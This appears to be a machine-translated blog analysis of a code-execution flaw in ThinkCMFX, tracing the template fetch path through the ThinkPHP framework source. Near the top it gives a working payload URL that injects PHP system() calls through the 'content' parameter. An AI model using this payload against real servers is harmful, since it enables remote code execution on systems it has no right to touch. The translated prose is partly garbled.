PHP: ThinkCMFX any file that contains the vulnerability

Introduction: recent burst out of the loophole, ThinkCmfX version should pass to kill based 3.X Thinkphp development

Download address: https: //gitee.com/thinkcmf/ThinkCMFX/releases

We took this payload to be analyzed

http://127.0.0.1/index.php?a=fetch&content=<?php system(‘ping xxxxxx’);?>

We want to know the characteristics of the framework tp, corresponding function can be performed by this form of access point routing, such as specifying the packet \ controller \ method g m \ a parameter \

The method we can follow fetch parent class's View

The findings also call a fetch method of the parent class return parent::fetch($templateFile,$content,$prefix);, then we can continue to AppframeController, but found it did not fetch then it must be inherited from the Controller of the controller, and continue to follow up

Discovery method called fetch more view classes continue, the view here is the Controller class constructor$this->view = Think::instance('Think\View');

Method fetch view class is as follows:

    public function fetch($templateFile='',$content='',$prefix='') {
        if(empty($content)) {  //首先判断content有无内容
            $templateFile   =   $this->parseTemplate($templateFile);
            // 模板文件不存在直接返回
            if(!is_file($templateFile)) E(L('_TEMPLATE_NOT_EXIST_').':'.$templateFile);
        }else{
            defined('THEME_PATH') or    define('THEME_PATH', $this->getThemePath());
        }
        // 页面缓存
        ob_start();
        ob_implicit_flush(0);
        if('php' == strtolower(C('TMPL_ENGINE_TYPE'))) { // 使用PHP原生模板
            $_content   =   $content;
            // 模板阵列变量分解成为独立变量
            extract($this->tVar, EXTR_OVERWRITE);
            // 直接载入PHP模板
            empty($_content)?include $templateFile:eval('?>'.$_content);
        }else{
            // 视图解析标签
            // 走的是这里
            $params = array('var'=>$this->tVar,'file'=>$templateFile,'content'=>$content,'prefix'=>$prefix); // 生成一个数组赋值给$params
            Hook::listen('view_parse',$params); //这个是关键
        }
        // 获取并清空缓存
        $content = ob_get_clean();
        // 内容过滤标签
        Hook::listen('view_filter',$content);
        // 输出模板文件
        return $content;  //这里进行模板文件的输出
    }

Notes can see, there is definitely our content content, then is made to determine if the second, after taking the modal second judge

Here Hook::listen('view_parse',$params); //这个是关键, the first parameter is passed view_parse, we look at the function explained listen

    /**
     * 监听标签的插件
     * @param string $tag 标签名称
     * @param mixed $params 传入参数
     * @return void
     */
    static public function listen($tag, &$params=NULL) { // 此时$tag = view_parse
        if(isset(self::$tags[$tag])) {
            if(APP_DEBUG) {
                G($tag.'Start');
                trace('[ '.$tag.' ] --START--','','INFO');
            }
            foreach (self::$tags[$tag] as $name) { //循环遍历
                APP_DEBUG && G($name.'_start');
                $result =   self::exec($name, $tag,$params);  // 这里进行执行
                if(APP_DEBUG){
                    G($name.'_end');
                    trace('Run '.$name.' [ RunTime:'.G($name.'_start',$name.'_end',6).'s ]','','INFO');
                }
                if(false === $result) {
                    // 如果返回false 则中断插件执行
                    return ;
                }
            }
            if(APP_DEBUG) { // 记录行为的执行日志
                trace('[ '.$tag.' ] --END-- [ RunTime:'.G($tag.'Start',$tag.'End',6).'s ]','','INFO');
            }
        }
        return;
    }

Our global search, view_parse debug output or echo $ name found invoked class ParseTemplateBehavior

'view_parse'    =>  array(
            'Behavior\ParseTemplateBehavior', // 模板解析 支持PHP、内置模板引擎和第三方模板引擎
        ),

Exe function in the class name if present, will be instantiated and invoked $ tag = view_parse, method call view_parse

        if('Behavior' == substr($name,-8) ){
            // 行为扩展必须用run入口方法
            $class = $name;
            $tag    =   'run';  //此时的$tag = run 所以下方调用的是run方法
        }else{
            $class   =  "plugins\\{$name}\\{$name}Plugin";
        }
        if(class_exists($class)){ //ThinkCMF NOTE 插件或者行为存在时才执行
            $addon   = new $class();
            return $addon->$tag($params); //相当于 return $addon->run($params);
        }

run for class we will see in the next ParseTemplateBehavior

    // 行为扩展的执行入口必须是run
    public function run(&$_data){
        $engine             =   strtolower(C('TMPL_ENGINE_TYPE'));
        $_content           =   empty($_data['content'])?$_data['file']:$_data['content'];
        $_data['prefix']    =   !empty($_data['prefix'])?$_data['prefix']:C('TMPL_CACHE_PREFIX');
        if('think'==$engine){ // 采用Think模板引擎
            if((!empty($_data['content']) && $this->checkContentCache($_data['content'],$_data['prefix'])) 
                ||  $this->checkCache($_data['file'],$_data['prefix'])) { // 缓存有效
                //载入模版缓存文件
                Storage::load(C('CACHE_PATH').$_data['prefix'].md5($_content).C('TMPL_CACHFILE_SUFFIX'),$_data['var']); 
                //C('CACHE_PATH').$_data['prefix'].md5($_content).C('TMPL_CACHFILE_SUFFIX'),$_data['var']地址为
                //D:\QMDownload\PHPTutorial\www\thinkcmfx2\data\runtime\Cache\Portal
            }else{
                $tpl = Think::instance('Think\\Template'); //走的是这里
                // 编译并加载模板文件
                $tpl->fetch($_content,$_data['var'],$_data['prefix']);
            }
        }else{
            // 调用第三方模板引擎解析和输出
            if(strpos($engine,'\\')){
                $class  =   $engine;
            }else{
                $class   =  'Think\\Template\\Driver\\'.ucwords($engine);                
            }            
            if(class_exists($class)) {
                $tpl   =  new $class;
                $tpl->fetch($_content,$_data['var']);
            }else {  // 类没有定义
                E(L('_NOT_SUPPORT_').': ' . $class);
            }
        }
    }

load method is the key, here we look into the load storage method class, but found not to exist, but there is __callstatic a magic method, its explanation as to create a static method to invoke a method in the class that does not exist when using this function. And the __call () method of the same, and the method name to accept the array as a parameter

Transfer freebuf flowchart as follows:

Reference article: https: //www.freebuf.com/vuls/218105.html

Guess you like

Origin www.cnblogs.com/zpchcbd/p/11949672.html